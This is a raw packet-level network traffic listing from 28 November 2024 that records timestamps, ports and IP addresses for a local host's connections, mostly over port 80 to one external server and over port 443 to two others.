Nov 28, 2024 17:24:42.426373959 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.426382065 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.428602934 CET	49866	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.428632975 CET	443	49866	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.428873062 CET	49866	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.429018974 CET	49867	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.429037094 CET	49866	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.429049015 CET	443	49867	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.429059029 CET	443	49866	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.429332018 CET	49867	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.431246996 CET	49867	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.431260109 CET	443	49867	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.473016024 CET	443	49863	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:42.473253012 CET	49863	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:42.473277092 CET	443	49863	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:42.473628998 CET	443	49863	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:42.474940062 CET	49863	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:42.475002050 CET	443	49863	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:42.519047022 CET	443	49862	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:42.519351006 CET	49862	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:42.519383907 CET	443	49862	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:42.520776033 CET	443	49862	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:42.520852089 CET	49862	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:42.521138906 CET	49862	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:42.521214008 CET	443	49862	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:42.548420906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.548505068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.548548937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.548590899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.548616886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.548711061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.548738956 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.548746109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.548810959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.548815966 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.548857927 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.549093962 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.549112082 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.549124002 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.549129963 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.549168110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.549226046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.549387932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.549702883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.549757004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.549765110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.549877882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.550443888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.550501108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.550612926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.550662994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.551147938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.551208973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.551244974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.551430941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.551827908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.551892042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.551948071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.552045107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.552280903 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.552347898 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.552546978 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.552571058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.552584887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.552613974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.552633047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.552730083 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.552747011 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.552758932 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.552764893 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.552978992 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.553014040 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.553240061 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.553282976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.553333998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.553395987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.553488016 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.553500891 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.553997040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.554092884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.554140091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.554678917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.554815054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.554862976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.554904938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.555429935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.555493116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.555517912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.555566072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.556139946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.556204081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.556204081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.556427956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.556857109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.556906939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.556945086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.557070971 CET	49869	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.557090998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.557120085 CET	443	49869	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.557177067 CET	49869	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.557400942 CET	49869	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:42.557419062 CET	443	49869	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:42.557540894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.557581902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.557595968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.557653904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.558284998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.558342934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.558404922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.558502913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.558954000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.559103012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.559166908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.559778929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.559830904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.559879065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.559922934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.560467005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.560520887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.560555935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.560738087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.561182022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.561239004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.561314106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.561400890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.561856985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.561909914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.562007904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.562056065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.562611103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.562663078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.562689066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.562879086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.563271999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.563329935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.563397884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.563484907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.563987017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.564039946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.564069033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.564115047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.564702988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.564754009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.564779043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.564816952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.565469027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.565512896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.565524101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.565599918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.566118956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.566169977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.566303015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.566396952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.566823006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.566922903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.566978931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.567544937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.567589998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.567594051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.567658901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.571006060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.571017027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.571027994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.571084023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.571120977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.571160078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.571171999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.571183920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.571197033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.571208954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.571218967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.571245909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.571784019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.571796894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.571834087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.571867943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.572396994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.572578907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.572632074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.573203087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.573256016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.573352098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.573390961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.573977947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.573988914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.574022055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.574044943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.574466944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.574614048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.574668884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.575371027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.575423002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.575519085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.575552940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.575999022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.576011896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.576045990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.576069117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.576623917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.576908112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.576967001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.577142000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.577153921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.577192068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.577569962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.577632904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.577687025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.578140020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.578289032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.578322887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.578375101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.578413963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.578947067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.579068899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.579106092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.579125881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.579682112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.579801083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.579823017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.579839945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.580377102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.580410004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.580445051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.580473900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.581119061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.581163883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.581186056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.581228018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.581840992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.581872940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.581882000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.582097054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.582637072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.582698107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.582757950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.583261967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.583319902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.583343029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.583360910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.583981037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.583993912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.584073067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.584664106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.584712029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.584801912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.584841013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.584928989 CET	49863	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:42.585371971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.585480928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.585509062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.586122036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.586189985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.727345943 CET	443	49862	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:42.727420092 CET	49862	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:42.749825001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.749887943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.749922037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.749960899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.750078917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.750123978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.750188112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.750499010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.750773907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.750828981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.750914097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.750952959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.751511097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.751606941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.751682997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.751739025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.752388954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.752463102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.752549887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.752588987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.752948999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.753005981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.753046989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.753202915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.753648996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.753706932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.753778934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.753819942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.754350901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.754407883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.754462957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.754503012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.755064964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.755121946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.755178928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.755218983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.756014109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.756078005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.756109953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.756154060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.756517887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.756617069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.756653070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.756690025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.757247925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.757298946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.757390022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.757431030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.757908106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.757989883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.758040905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.758629084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.758694887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.758722067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.758759022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.759377956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.759423018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.759603024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.759651899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.760113001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.760154009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.760190964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.760307074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.760782003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.760922909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.760970116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.761504889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.761548996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.761642933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.761730909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.762206078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.762254000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.762453079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.762500048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.762927055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.762973070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.763065100 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.763122082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.763614893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.763659954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.763746977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.763849020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.764364958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.764414072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:42.764468908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:42.764519930 CET	49813	80	192.168.2.6	185.215.113.206
